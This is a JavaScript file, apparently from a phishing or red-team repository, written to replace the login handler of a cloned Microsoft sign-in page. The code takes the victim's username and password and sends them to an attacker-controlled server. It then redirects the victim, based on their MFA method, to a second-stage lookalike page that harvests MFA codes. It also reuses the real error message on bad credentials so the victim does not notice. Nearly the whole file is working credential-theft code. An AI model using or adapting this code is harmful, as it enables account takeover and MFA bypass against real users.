Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 59 lines (49 sloc) 3.4 KB
/* collect_userpass.js
Comment out the entire contents of the existing Login.submitLoginRequest function
except the makePlaceholder calls, and replace it with this.
*/
/*** JS 1 of 1: Code for collecting the username and password, sending it off to
the attacker, and recieving back the authentication type ***/
url='https://portal.widgetscorp.co/'; // point to attacker machine hosting mfa_slipstream
user_name = encodeURIComponent(document.getElementById(Login.userNameInput).value);
user_pass = encodeURIComponent(btoa(document.getElementById(Login.passwordInput).value));
var httpXHR = new XMLHttpRequest();
// console.log('XHR.open');
httpXHR.open("GET",url+"dossologin?username="+user_name+"&pass="+user_pass, true);
// console.log('XHR.onreadystatechange');
httpXHR.onreadystatechange = function() {
document.getElementById("error").setAttribute("hidden","true");
//ref: readyState 0=unsent,1=opened, 2=headersrecieved, 3=loading, 4=done
if (httpXHR.readyState == 4 ) {
var response = httpXHR.responseText;
// console.log('RESPONSE FROM XHR: '+response);
// Split out l2phone (the last 2 digits of the phone number)
var auth_method = response.split(':')[0];
var l2phone = response.split(':')[1];
if(l2phone==undefined) l2phone = 'XX';
// Handle the different authentication types returned from mfa_slipstream.py
// the page at /4bf18ef2-86a7-4b76-b63f-80a89cde4657/login is the second stage phish to collect MFA token
if (auth_method=="OneWaySMS") {
document.getElementById("loginForm").submit();
document.getElementById("error").setAttribute("hidden","true");
window.location.replace("https://login.mymicrosoftphish.com/4bf18ef2-86a7-4b76-b63f-80a89cde4657/login?client-request-id=6df3e89d-709a-4000-4501-1531a72d3ab9&username="+user_name+"&l2phone="+l2phone+"&auth="+0);
} else if (auth_method == "PhoneAppNotification") {
document.getElementById("loginForm").submit();
document.getElementById("error").setAttribute("hidden","true");
window.location.replace("https://login.mymicrosoftphish.com/4bf18ef2-86a7-4b76-b63f-80a89cde4657/login?client-request-id=6df3e89d-709a-4000-4501-1531a72d3ab9&username="+user_name+"&l2phone="+l2phone+"&auth="+1);
} else if (auth_method == "PhoneAppOTP") {
document.getElementById("loginForm").submit();
document.getElementById("error").setAttribute("hidden","true");
window.location.replace("https://login.mymicrosoftphish.com/4bf18ef2-86a7-4b76-b63f-80a89cde4657/login?client-request-id=6df3e89d-709a-4000-4501-1531a72d3ab9&username="+user_name+"&l2phone="+l2phone+"&auth="+2);
} else if (auth_method == "TwoWayVoiceMobile") {
document.getElementById("loginForm").submit();
document.getElementById("error").setAttribute("hidden","true");
window.location.replace("https://login.mymicrosoftphish.com/4bf18ef2-86a7-4b76-b63f-80a89cde4657/login?client-request-id=6df3e89d-709a-4000-4501-1531a72d3ab9&username="+user_name+"&l2phone="+l2phone+"&auth="+3);
} else if (auth_method == "BadCredentials") {
// Re-use the real error message if the user gives bad credentials
document.getElementById("error").removeAttribute("hidden");
}
}
}
// console.log('XHR.send');
httpXHR.send();